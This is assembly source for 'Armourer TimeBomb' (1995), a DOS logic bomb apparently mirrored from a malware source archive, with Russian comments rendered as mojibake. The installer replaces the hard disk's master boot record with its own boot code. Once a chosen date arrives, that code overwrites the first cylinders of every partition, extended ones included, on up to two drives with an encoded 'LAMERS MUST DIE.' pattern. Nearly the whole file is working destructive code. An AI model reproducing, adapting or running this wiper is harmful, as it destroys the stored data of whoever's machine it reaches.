mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-29 06:25:27 +00:00
473 lines
10 KiB
NASM
473 lines
10 KiB
NASM
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
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; (C) ANS (Armourer) TimeBomb Ver 1.00 25 Jun
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; FIDOnet 2:461/29.444 FreeWare, SourceWare 1995
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;
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;
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; <20>®«®áâìî § ¬¥ï¥â MBR. <20>® ¤®á⨦¥¨¨ ®¯à¥¤¥«¥®© ¤ âë ä â «ì® £à®å ¥â ¢¨â
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;
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; ‘â àë© MBR § ¯¨áë¢ ¥âáï ¢ ä ©« c:\mbr.bak, çâ®¡ë ¬®¦® ¡ë«® ¢®ááâ ®¢¨âì,
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; ¥á«¨ çâ®. “¯à ¢«¥¨ï áâ àë© MBR ¥ ¯®«ãç ¥â, â ª çâ® ¥á«¨ ® ¤¥« « çâ®-â®
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; ¡®«¥¥ 㬮¥, ¥¦¥«¨ § £à㧪 á¨á⥬ë á ªâ¨¢®£® à §¤¥« - TimeBomb ¯à¨¤¥âáï
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; ¯¥à¥¤¥« âì.
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;
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; <20>ਠáà ¡ âë¢ ¨¨ TimeBomb § â¨à îâáï ¯¥à¢ë¥ 4 樫¨¤à ª ¦¤®£® à §¤¥«
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; ¢¨â¥, ¢ª«îç ï «®£¨ç¥áª¨¥ ¤¨áª¨ DOS (extended partition)
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;
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; ‘«¥¤ã¥â § ¬¥â¨âì, çâ® Non-DOS à §¤¥«ë (HPFS, ¯à¨¬¥à) ¯à¨ í⮬ ¯®áâà ¤ îâ
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; ¥§ ç¨â¥«ì® - ¢ á¢ï§¨ á ª®à¥ë¬ ®â«¨ç¨¥¬ ¨å áâàãªâãàë ®â DOS FAT.
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;
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killed_cyl = 4 ; —¨á«® 㡨¢ ¥¬ëå 樫¨¤à®¢ ¢ ª ¦¤®¬ à §¤¥«¥
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xor_value = 73h ; ‡ 票¥ § è¨ä஢ ¨ï ‚ 襣® ¯®á«¥¤¥£® á«®¢ ;-)
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locals
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cseg segment
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assume cs:cseg
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org 100h
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.286
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start proc near
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;
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; ˆáâ ««ïæ¨ï
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;
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; <20>஢¥à塞 ª®¬ ¤ãî áâபã
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mov si, 80h
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mov bl, byte ptr [si]
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xor bh, bh
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cmp bl, 8
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jnc @@checkdate
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help:
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; ‚ ª®¬ ¤®© áâப¥ ¥ 㪠§ ¤ â - ¢ë¢®¤¨¬ ¯®¤áª §ªã
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mov dx, offset @@title
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mov ah, 9
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int 21h
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int 20h
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; <20>®«ã票¥ BCD-ç¨á« ¨§ ª®¬. áâப¨
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getBCD proc near
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dec si
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mov ax, word ptr [si+bx] ; <20>¥à¥¬ ¯®á«¥¤¨¥ ¤¢¥ æ¨äàë
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sub ax, '00' ; ASCII -> BIN
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xchg al, ah
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db 0d5h, 10h ; AAD á ¬®¤¨ä¨ª â®à®¬ 16
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cmp al, 9ah
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jnc help
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dec si ; ‘à §ã ¯¥à¥å®¤¨¬ ª á«¥¤ãî饬㠯®«î
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dec si
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retn
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getBCD endp
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@@checkdate: ; <20>஢¥à塞 ¤ âã (á ç « £®¤, § ⥬ ¬¥áïæ, § ⥬ ç¨á«®)
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; ¨ ¯à¨¢®¤¨¬ ¥¥ ª 㦮¬ã ä®à¬ âã
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; Š®à४â®áâì ¤ âë ¥ ¯à®¢¥à塞 - ¦â® ¯à®¡«¥¬ ¯®«ì§®¢ ⥫ï -
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; çâ® ® â ¬ ¢¢¥«
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call getBCD ; <20>¥à¥¬ æ¨äàë £®¤
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mov byte ptr year, al ; <20>®«ã稫¨ BCD-year
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cmp byte ptr [bx+si+1], '.' ; <20>஢¥à塞 à §¤¥«¨â¥«ì
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jne help
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call getBCD ; <20>¥à¥¬ æ¨äàë ¬¥áïæ
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mov byte ptr month, al ; <20>®«ã稫¨ BCD-month
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cmp byte ptr [bx+si+1], '.' ; <20>஢¥à塞 à §¤¥«¨â¥«ì
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jne help
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call getBCD ; <20>¥à¥¬ æ¨äàë ¤ï
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mov byte ptr day, al ; <20>®«ã稫¨ BCD-day
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@@singledisk:
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;
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; ‡ ¬¥ï¥¬ MBR ¢¨â ᢮¨¬ ª®¤®¬ ¨§ bomb proc
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;
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; —¨â ¥¬ áâ àë© MBR, á®åà 塞 ¥£® ¢ c:\mbr.bak, ¯¨è¥¬ ᥡï
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;
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; —¨â ¥¬ MBR
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mov cx, 1
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mov dx, 80h
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mov ax, 201h
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mov bx, offset buffer
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int 13h
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jnc @@rd_ok
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mov dx, offset @@rd_err
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@@err_exit: ; ‚뢮¤ á®®¡é¥¨ï ¨§ DX ¨ ¢ë«¥â ¯® ®è¨¡ª¥
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mov ah, 9
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int 21h
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retn
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@@rd_ok:
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; ‘®§¤ ¥¬ ä ©«
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mov dx, offset @@fname
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xor cx, cx
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mov ah, 3ch
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int 21h
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jnc @@cr_ok
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mov dx, offset @@cr_err
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jmp @@err_exit
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@@cr_ok:
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; <20>¨è¥¬ ¢ ä ©«
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mov bx, ax
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mov cx, 512
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mov dx, offset buffer
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mov ah, 40h
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int 21h
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jnc @@wr_ok
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mov dx, offset @@wr_err
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jmp @@err_exit
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@@wr_ok:
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; ‡ ªàë¢ ¥¬ ä ©«
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mov ah, 3eh
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int 21h
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;
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; <20>¥à¥®á¨¬ ᢮© MBR ¬¥áâ® áâ ண®
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;
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mov si, offset bomb
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mov di, offset buffer
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mov bx, di
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mov cx, di
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sub cx, si
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cld
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rep movsb
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;
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; ‡ ¯¨áë¢ ¥¬ ®¢ë© MBR ¯®¢¥àå áâ ண®
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;
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mov cx, 1
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mov dx, 80h
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mov ax, 301h
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int 13h
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mov dx, offset @@mbr_wr_err
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jc @@err_exit
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mov dx, offset @@done_msg
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jmp @@err_exit
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; ‘®®¡é¥¨ï ®¡ ®è¨¡ª å
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@@rd_err: db 'Error read the MBR of C:',13,10,'$'
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@@cr_err: db 'Error creating the '
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@@fname: db 'C:\MBR.BAK',0,'file',13,10,'$'
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@@wr_err: db 'Error writing backup file',13,10,'$'
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@@mbr_wr_err: db 'Error writing new MBR',13,10,'$'
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@@done_msg: db 'Your MBR replaced by TimeBomb',13,10,'$'
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; ‡ áâ ¢ª
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@@title:
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db 13,10,10
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db '(C) Armourer TimeBomb Ver 1.00 25 Jun 1995',13,10,10
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db ' Usage: timebomb <date>',13,10,10
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db ' Where <date> is a fatal date for your computer.',13,10
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db ' Date format must be in exUSSR standard: DD.MM.YY',13,10,10
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db 'Good Luck ;)',13,10,'$'
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start endp
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;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
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; ’¥ªáâ ¡®¬¡ë. Š®¬¡¨¨àã¥âáï á MBR (®â MBR ¡¥à¥âáï ¯ àâ¨è)
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;
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; <20>â®â ª®¤ ¡ã¤¥â áâ à⮢ âì á ¤à¥á 0:7c00h
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;
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bomb proc near
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; <20> áâà ¨¢ ¥¬ á⥪ ¨ ¯¥à¥®á¨¬ MBR, ªã¤ ¤® (0:600h)
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cli
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mov ax, cs
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mov ss, ax
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mov ds, ax
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mov es, ax
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mov si, 7c00h
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mov sp, si
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push si ; <20>⮠㦮 ¤«ï ¯®á«¥¤ãî饣® áâ àâ boot'
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cld
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mov cx, 1beh / 2 ; <20>®á«¥ â ª®£® ¯¥à¥®á SI ¡ã¤¥â 㪠§ë¢ âì
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mov di, 600h ; ¯ àâ¨è
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rep movsw
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push ax ; ‘¥£¬¥â
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push offset beginbomb - offset bomb + 600h ; ‘¬¥é¥¨¥
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retf
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beginbomb:
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; <20>஢¥à塞 ¢à¥¬ï
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mov ah, 4
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int 1ah ; <20>à®ç«¨ ¤ âã ¢ CX:DX
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jc @@skipbomb ; …᫨ ç áë ¥ à ¡®â îâ -> ¯à®¯ã᪠¥¬ ¯à®¢¥àªã
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year = $ + 2
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cmp cl, 12h ; <20>஢¥à塞 £®¤
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jc @@skipbomb ; ƒ®¤ ¥ ᮢ¯ « ;)
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jne @@explode ; …᫨ íâ®â £®¤ ¯à®è¥« - ¢§àë¢ ¥¬áï ¬¥¤«¥®
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month = $ + 3
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day = $ + 2
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cmp dx, 1234h ; ˆ¬¥® â ª, çâ®¡ë ¥ ᣥ¥à¨à®¢ «áï
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; ª®à®âª¨© ¢ ਠ⠤«ï CMP
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jc @@skipbomb ; <20>¥ ᮢ¯ « ¤¥ì ¨ ¬¥áïæ
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@@explode:
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;
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; ‚ᥠᮢ¯ «®, ¯à¨è« ç¥à ï ¯®à ...
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;
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; ‘â¨à ¥¬ ¯¥à¢ë¥ 樫¨¤àë ª ¦¤®£® à §¤¥« (¢ª«îç ï «®£¨ç¥áª¨¥
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; ¤¨áª¨ DOS)
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;
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; “áâ ¢«¨¢ ¥¬ ¢ ª®¤¥ ¡®¬¡ë ¯ à ¬¥âàë ¢¨â
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mov dl, 80h
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call destroy
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; “áâ ¢«¨¢ ¥¬ ¯ à ¬¥âàë â®à®£® ¢¨â , ¥á«¨ ® ¥áâì
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ror dl, 1 ; …᫨ ®¤¨ ¤¨áª, ä« £ CF ¡ã¤¥â ãáâ ®¢«¥
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jc @@singledisk
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mov dl, 81h
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call destroy
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@@singledisk:
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jmp @@incorrect ; ‚뢮¤¨¬ á®®¡é¥¨¥ "Missing operating ssytem"
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@@skipbomb:
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;
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; Žâà ¡®âª ®à¬ «ì®£® ª®¤ MBR
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;
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; ˆé¥¬ § £à㧮çë© à §¤¥«
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mov cl, 4 ; …áâì ¢á¥£® 4 ¢ ਠâ ...
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@@searchboot: ; –¨ª« ¯®¨áª
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mov dx, word ptr [si] ; ‘à §ã § £à㦠¥¬ ¢ DX â®, ç⮠㦮
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cmp dl, 80h ; <20>â®â à §¤¥« § £à㧮çë© ?
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je @@boot
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add si, 10h ; <20>¥à¥å®¤¨¬ ª á«¥¤ãî饩 § ¯¨á¨
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loop @@searchboot
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; <20>¥ 諨 - ¢ë¤ ¥¬ á®®¡é¥¨¥
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@@incorrect:
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call errmsg
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db 'Missing operating system',0
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@@boot: ; ‡ £à㦠¥¬ boot-ᥪâ®à ¨ ¯¥à¥¤ ¥¬ ¥¬ã ã¯à ¢«¥¨¥
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mov cx, word ptr [si+2] ; —â® ¤® - ¢ CX
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mov ax, 201h ; —¨â ¥¬ 1 ᥪâ®à
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pop bx ; <20>® ¤à¥áã 0:7c00h
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push bx
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int 13h
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jnc @@exit
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call errmsg
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db 'Error reading operating system',0
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@@exit:
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cmp word ptr [bx + 510], 0aa55h
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jne @@incorrect
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retn ; ‡ ¯ã᪠¥¬ boot
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;
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; <09>®¤¯à®£à ¬¬ë
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;
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; ‚ë¤ ç á®®¡é¥¨ï ®¡ ®è¨¡ª¥
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errmsg proc near
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sti
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cld
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pop si
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mov ah, 0eh
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@@nextchar:
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lodsb
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or al, al
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je $
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int 10h
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jmp @@nextchar
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errmsg endp
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; Ž¡å®¤ ¢á¥å à §¤¥«®¢ ¤¨áª á § ¯¨áìî ¨å ¯ à ¬¥â஢ ¢ ¡ãä¥à
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getpart proc near
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; <20>⮠४ãàᨢ ï äãªæ¨ï.
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; <20> ¢å®¤¥ ¢ SI âॡã¥âáï 㪠§ â¥«ì ®ç¥à¥¤®© à §¤¥«
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; ‚ ¡ãä¥à ¯® ¤à¥áã ES:DI ¯¨èãâáï ¯ à ¬¥âàë ⥪.à §¤¥«
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mov cx, 4 ; ‘ç¥â稪 à §¤¥«®¢ ¢ ª ¦¤®¬ MBR
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@@nextpart:
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; <20>஢¥à塞 ⨯ à §¤¥«
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cmp byte ptr [si+4], 0 ; <20>¥¨á¯®«ì§ã¥¬ë© à §¤¥«
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je @@exit
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; <20>¨è¥¬ ¢ ¡ãä¥à ¯ à ¬¥âàë à §¤¥«
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mov ax, word ptr [si] ; ƒ®«®¢
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stosw
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mov dx, ax ; ƒ®â®¢¨¬áï ª® ¢å®¤ã ¢ ४ãàá¨î
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disk1 = $ + 1
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mov dl, 80h ; <20>®¬¥à ®¡à ¡ âë¢ ¥¬®£® ¤¨áª
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mov ax, word ptr [si+2]
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stosw ; –¨«¨¤à/ᥪâ®à
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; ‘®¢ ¯à®¢¥à塞 ⨯ à §¤¥« - ¥ à áè¨à¥ë© «¨ ® ?
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cmp byte ptr [si+4], 5
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jne @@exit ; <20>¥â - ¨¤¥¬ ¤ «ìè¥
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; <20>ëà塞 ¢ ४ãàá¨î
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; —¨â ¥¬ MBR à áè¨à¥®£® à §¤¥«
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push cx ; ‘®åà 塞 áç¥â稪
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push si ; ‘®åà 塞 㪠§ ⥫ì à §¤¥«ë
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add bx, 512 ; <20>த¢¨£ ¥¬ 㪠§ â¥«ì ¡ãä¥à
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mov cx, ax ; ‘¥©ç á CX:DX 㪠§ë¢ îâ MBR
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mov ax, 201h ; à áè¨à¥®£® à §¤¥«
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int 13h ; —¨â ¥¬ à áè¨à¥ë© à §¤¥« ¢ 0:BX
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jnc @@rec ; <20>஢¥àª ª®à४â®áâì
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; ‚ë室¨¬ ¨§ ४ãàᨨ ¢ á«ãç ¥ á¡®ï
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pop si
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pop cx
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sub bx, 512
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jmp @@exit
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@@rec:
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mov si, bx ; “áâ ¢«¨¢ ¥¬ 㪠§ ⥫ì
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add si, 1beh ; â ¡«¨æã à §¤¥«®¢
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call getpart
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@@exit:
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add si, 10h
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loop @@nextpart
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; ‚ë室 ¨§ ४ãàᨨ
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sub bx, 512
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pop dx
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pop si
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pop cx
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push dx
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retn
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getpart endp
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; “¨ç⮦¥¨¥ ᮤ¥à¦¨¬®£® ⥪ã饣® ¤¨áª
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destroy proc near
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; <20>®«ãç ¥¬ ¯ à ¬¥âàë ¢¨â , 㪠§ ®£® ¢ DL
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mov byte ptr ds:[offset disk - offset bomb + 600h], dl
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mov byte ptr ds:[offset disk1 - offset bomb + 600h], dl
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mov ah, 8
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int 13h
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mov byte ptr ds:[heads - offset bomb + 600h], dh
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and cl, 63
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mov byte ptr ds:[sectors - offset bomb + 600h], cl
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push dx
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mov bx, 0a00h ; <20>ãä¥à ¤«ï ç⥨ï MBR à áè¨à¥ëå à §¤¥«®¢
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; <20>® 室㠤¥« ª BX ¡ã¤¥â ¯à¨¡ ¢«ïâìáï ¯® 512 -
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; â ª çâ® ¬ ªá¨¬ «ìë© ã஢¥ì ¢«®¦¥®áâ¨
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; á®áâ ¢¨â 57 à §¤¥«®¢
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mov di, 500h ; <20>ãä¥à ¯®¤ ¯ à ¬¥âàë ¤«ï int 13h (64 ¤¨áª )
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; <20>¥ªãàᨢ® ®¡å®¤¨¬ «®£¨ç¥áª¨¥ ¤¨áª¨, § ¯¨áë¢ ï ¢ ¡ãä¥à ¯ à ¬¥âàë
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; ¤«ï int 13h
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push si ; Š®à४âë© ¢å®¤ ¢ ४ãàá¨î
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push cx
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xor ax, ax ; “áâ ®¢ª ¤«ï áâ¨à ¨ï £« ¢®£® MBR
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stosw
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inc ax
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stosw
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call getpart ; Ž¡å®¤ à §¤¥«®¢
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; ‘®§¤ ¥¬ § 票¥ ¯à®¯¨áë¢ ¨ï
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; ‘¥©ç á ¢ bx «¥¦¨â ¤«¨ ¯à®¯¨áë¢ ¥¬ëå ¤ ëå ¢ ¯ à £à ä å - 800h
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push di ; ‘®åà 塞 㪠§ ⥫ì 墮áâ ᯨ᪠¯ à ¬¥â஢
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mov di, bx ; ‚ DI ¡ã¤¥â 㪠§ â¥«ì ¡ãä¥à ¤«ï ¤ ëå
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shl di, 4 ; <20>ãä¥à ¡ã¤¥â à ᯮ« £ âìáï ᮠᬥ饨ï 8000h
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push di ; ‘®åà 塞 ¤à¥á ¡ãä¥à § ¯®«¥¨ï
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@@nextword:
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mov si, offset lmd - offset bomb + 600h
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mov cx, 16
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@@nextchar:
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lodsb
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xor al, xor_value
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stosb
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loop @@nextchar
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dec bx
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jne @@nextword
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; ˆ¤¥¬ § ¤ ¯® ¡ãä¥àã
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pop bx ; ‚®ááâ ¢«¨¢ ¥¬ ¤à¥á ¡ãä¥à
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pop si ; ‚®ááâ ¢«¨¢ ¥¬ 㪠§ â¥«ì ¯ à ¬¥âàë
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||
mov cx, si ; ‚ëç¨á«ï¥¬ ç¨á«® § â¨à ¥¬ëå à §¤¥«®¢
|
||
sub cx, 500h
|
||
shr cx, 2
|
||
|
||
std
|
||
lodsw ; <20>¥à¥å®¤¨¬ ª ¯®á«¥¤¥© § ¯¨á¨ ¢ ¡ãä¥à¥
|
||
|
||
|
||
@@nextpart:
|
||
push cx ; ‘®åà 塞 áç¥â稪
|
||
|
||
lodsw ; <20>¥à¥¬ ¯ à ¬¥âàë à §¤¥«
|
||
mov cx, ax ; –¨«¨¤à/ᥪâ®à
|
||
lodsw
|
||
mov dx, ax ; ƒ®«®¢
|
||
|
||
disk = $ + 1
|
||
mov dl, 80h ; <20>®¬¥à § â¨à ¥¬®£® ¤¨áª
|
||
|
||
mov si, killed_cyl ; ‘ç¥â稪 㡨¢ ¥¬ëå 樫¨¤à®¢
|
||
|
||
; <20>ய¨áë¢ ¥¬ à §¤¥«
|
||
@@nexthead:
|
||
sectors = $ + 1
|
||
mov ax, 310h ; !!!!
|
||
int 13h
|
||
inc dh ; ‘«¥¤ãîé ï £®«®¢
|
||
|
||
heads = $ + 2
|
||
cmp dh, 16 ; ‚¥áì 樫¨¤à ?
|
||
jne @@nexthead
|
||
|
||
add cx, 64 ; ‘«¥¤ãî騩 樫¨¤à
|
||
xor dh, dh ; <20> ç¨ ¥¬ á ã«¥¢®© £®«®¢ë
|
||
dec si
|
||
jne @@nexthead
|
||
|
||
pop cx ; ‚®ááâ ¢«¨¢ ¥¬ áç¥â稪
|
||
loop @@nextpart ; ¨ ªàã⨬ 横« ¯® à §¤¥« ¬
|
||
|
||
pop dx
|
||
retn
|
||
destroy endp
|
||
|
||
|
||
lmd:
|
||
irpc ch, <LAMERS MUST DIE.>
|
||
db '&ch' xor xor_value
|
||
endm
|
||
|
||
bomb endp
|
||
|
||
|
||
buffer: ; ‘î¤ ¡ã¤¥¬ ç¨â âì áâ àë© mbr
|
||
dw offset buffer - offset bomb
|
||
cseg ends
|
||
end start
|